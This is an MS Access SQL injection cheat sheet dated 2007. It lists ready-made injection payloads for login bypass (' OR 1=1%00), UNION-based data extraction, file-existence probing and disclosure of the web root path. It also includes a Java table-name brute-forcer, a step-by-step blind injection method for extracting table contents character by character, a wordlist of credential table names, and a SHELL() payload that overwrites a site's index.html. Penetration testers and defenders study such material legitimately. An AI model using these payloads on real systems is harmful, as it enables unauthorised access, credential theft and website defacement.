MS Access SQL Injection Cheat Sheet

version 0.2.1
(last update 10/10/2007)


Description SQL query and Comments
Comments There are no comments in MS Access. So "/*", "--", and "#" can't be used here. But it's possible to use the NULL byte (%00) to comment out the end of the query :
  • ' UNION SELECT 1,1,1 FROM validTableName%00

Syntax Error Message "[Microsoft][Driver ODBC Microsoft Access]"
Stacked Query Not Allowed.
UNION support The UNION operator is supported, but it needs a valid table name in the FROM clause.
Subquery Subqueries are supported (in the example "TOP 1" is used to make the query returns only one row) :
  • ' AND (SELECT TOP 1 'someData' FROM validTableName)%00
LIMIT support LIMIT isn't implemented, but it's possible to use "TOP N" in SELECT statement, to limit the number of returned rows :
  • ' UNION SELECT TOP 3 AttrName FROM validTableName%00 : returns (the first) 3 rows
Make the query returns 0 rows This could be useful when the script displays only the first result rows in the html response :
  • ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00
String concatenation No CONCAT() function exists. It's possible to use the "&" or "+" operator to concat two strings. But you need to URL encode them :
  • ' UNION SELECT 'web' %2b 'app' FROM validTableName%00 : returns "webapp"

  • ' UNION SELECT 'web' %26 'app' FROM validTableName%00 : returns "webapp"
Substring MID() function :
  • ' UNION SELECT MID('abcd',1,1) FROM validTableName%00 : returns "a"
  • ' UNION SELECT MID('abcd',2,1) FROM validTableName%00 : returns "b"
String length LEN() function :
  • ' UNION SELECT LEN('1234') FROM validTableName%00 : returns 4
Find web root directory You can find the web root directory trying to select something from an inexistent database. MS Access will response with an error message containing the full path name :
  • ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
ASCII value from a character ASC() function :
  • ' UNION SELECT ASC('A') FROM ValidTable%00 : returns 65 (ASCII value for 'A')
Character from an ASCII value CHR() function :
  • ' UNION SELECT CHR(65) FROM validTableName%00 : returns 'A'
IF Statement IIF() function can be used. Syntax : IIF(condition, true, false) :
  • ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName%00 : returns 'a'
Time Inference Function such as BENCHMARK() or SLEEP() doesn't exist. But it's possible to inference data with the use of heavy queries as explained here.
Verify File Existence

By injecting :

  • ' UNION SELECT name FROM msysobjects IN '\boot.ini'%00 : (if file exists) an error message is obtained (it informs that the database format was not recognized).

Table Name bruteforcing Here is a simple Java method that could be used to bruteforce MS Access table names. I wrote it to better explain the table name bruteforce process :

static private String columnErrorMessage = "...";
static private String accessError = "...";


public String bruteTableName(Request r) { // 0

   String resp = new String();
   String[] table = { "tab_name1", "tab_name2", ..., "tab_nameN" }; // 1

   for(int i = 0; i < table.length; i++) {

      resp = sendInjection(r, " ' UNION SELECT 1 FROM " + table[i] + "%00"); // 2

      if(resp.contains(columnErrorMessage) || !resp.contains(accessError)) // 3
           return table[i];

   return null;

bruteTableName() takes as parameter (0) an object called "Request" (rappresenting the bugged request). The method tries to inject through sendInjection() (2) this query :

  • ' UNION SELECT 1 FROM table[i]%00

Where table[i] is an element of a table name list (1). You can find a small wordlist at the end of this paper : it can be used for this purpose. At position (2), sendInjection() returns the html response after the sql code injection. If resp contains the columnErrorMessage string (3) you have found an existent table in the database. columnErrorMessage is a message that informs you that you used a different number of columns with UNION SELECT. This is why you don't need of the columns number : you can just check it to inference the table's existence. If the injectable query selects only one attribute/column, the code determinates the table name guessing with the second condition on accessError string (it's just the syntax error message mentioned above) : infact it will be displayed only if the table doesn't exist.

Field Name bruteforcing You need a valid table name and column number :
  • ' UNION SELECT fieldName[j],1,1,1 FROM validTableName%00

In this case you have to loop on an attribute names list (in the same way I propose in the code above). An attribute is guessed if the syntax error message doesn't appear in the html response. Here "j" is just an index of an ipotetical attributes list.

Login bypass User : ' OR 1=1%00 (or " OR 1=1%00)

Password : (blank)

Attributes Enumeration NOTE : This method was tested with JBoss (using a bugged .jsp script) + MS Access, I don't know if this works with other configurations.

Usually if a SQL Injection exists, when you type a quote (') in a URL parameter you obtain an error message such as :

  • Error (...) syntax (...) query (...) : " Id=0' "
And this tells you that the current table has a parameter called "Id". Often programmers use the same names for URL and query attributes. When you know one parameter name you can use the technique used with MS SQL Server to enumerate other table fields name by injecting :
  • ' GROUP BY Id%00

Now you'll obtain a new error message contains another attribute name. Enumeration follows by injecting :

  • ' GROUP BY Id, SecondAttrName, ...%00

until you'll enumerate all the parameters.

System OS Interaction

By default it's impossible to access to these functions

Security Notes It's possible to block the use of critical functions (such as SHELL(), etc ...) by setting this register key :
  • \\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode

Its default values is 2, so by default it's impossible to use these functions. What I propose below are some examples tested with that register key setted to 0.

Get Current Directory Here you need of columns number and a valid table name :
  • ' UNION SELECT CurDir(),1,1 FROM validTableName%00
Execute OS Commands SHELL() function can be used to run OS command :
  • ' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')%00

MS Access System Tables

By default it's impossible to access to these system tables

MSysAccessXML Table fields name :
  • Id
  • LValue
  • ObjectGuid
  • ObjectName
  • Property
  • Value

MSysACEs Table fields name :
  • ACM
  • FInheritable
  • ObjectId
  • SID
MSysObjects Here you can find database table name :
  • Connect
  • Database
  • DataCreate
  • DataUpdate
  • Flags
  • ForeignName
  • Id
  • Lv
  • LxExtra
  • LvModule
  • LvProp
  • Name
  • Owner
  • ParentId
  • RmtInfoLong
  • RmtInfoShort
  • Type

This query can be used to obtain database tables name :

  • ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00
MS Access Blind SQL Injection (these steps can be used to bruteforce table content)
Step #1 : Bruteforce Table Name You have to bruteforce the table name. You can use the wordlist listed below. Inject query :
  • ' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])%00

After injection you have to check the html response page. If table exists you should have the same html page layout (because "AND 1" has no effect on the query).

Step #2 : Bruteforce Field Name

You have to find table fields name. Inject query :
  • ' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)%00

As above, you should check the html page layout to inferece the field name existence .

Step #3 : Bruteforce Table rows number You have to find the number of table rows. This value will be used as "TAB_LEN" variable in the following queries/descriptions :
  • ' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)%00

Where "X" is a number between 0 and an arbitrary value. As above you will find the correct number by checking html page layout.

Step #4 : Bruteforce item length

You can bruteforce the value length of a generic "ATTRIB" field at row number 1 with this query :

  • ' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)%00

You can bruteforce the value length of a generic "ATTRIB" field from row 2 to TAB_LEN with this query (here N is a number between 2 and TAB_LEN, the value bruteforced before) :

  • ' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)%00

"KKK" is a value between 0 and an arbitrary value, while ATTRIB<>'valueXXX' is used because we have to select a specific line to bruteforce. The unique way I found to do this is to select the desidered row with "TOP N",and then insert in the WHERE clause all the attribute values bruteforced before. I have to say that "ATTRIB" must be the table key-field. Here is an example :


A1 A2 A3
1111 2222 3333
0000 4444 oooo
aaaa bbbb cccc

You can bruteforce fields value length for row 1 in this way :

  • ' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)%00

  • ' AND IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)%00

  • ' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)%00

While you can bruteforce fields length value of second row in this way (assuming A1 as table key-field) :

    A1 <>'1111') = KKK, 1, 0)

    A1 <> '1111') = KKK, 1, 0)

    A1 <> '1111') = KKK, 1, 0)

The same for row number 3 :

    A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)

    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)

    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)

Obviusly, before bruteforcing field value length (at row between 2 and TAB_LEN) you have to bruteforce the previous row (key) field value (you have to put it in the WHERE clause).

Step #5 : Bruteforce Table Content Supposing that the attacker already knows the table and fields name, he will inject this query :
  • ' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
    ... etc ... ) = CHAR(YYY), 1, 0)%00

Where "N" is the row to bruteforce, "XXX" is the x-th byte of "ATTRIBxxx" to bruteforce, "ATT_key" is the table key-field and "YYY" is a number between 0 and 255 (it represents the ASCII value for a char). Here we have to use the same method mentioned before to correctly bruteforce a specific row attribute content.

Tables/Fields Bruteforcing (Wordlist)
Table/Field Wordlist Here is a very short table/field names wordlist that can be used during bruteforcing :
  • account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;

  • customers, customer, config, conf, cfg;

  • hash;

  • login, logout, loginout, log;

  • member, memberid;

  • password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;

  • store, store1, store2, store3, store4, setting;

  • username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd,  user_passwd;

Links and References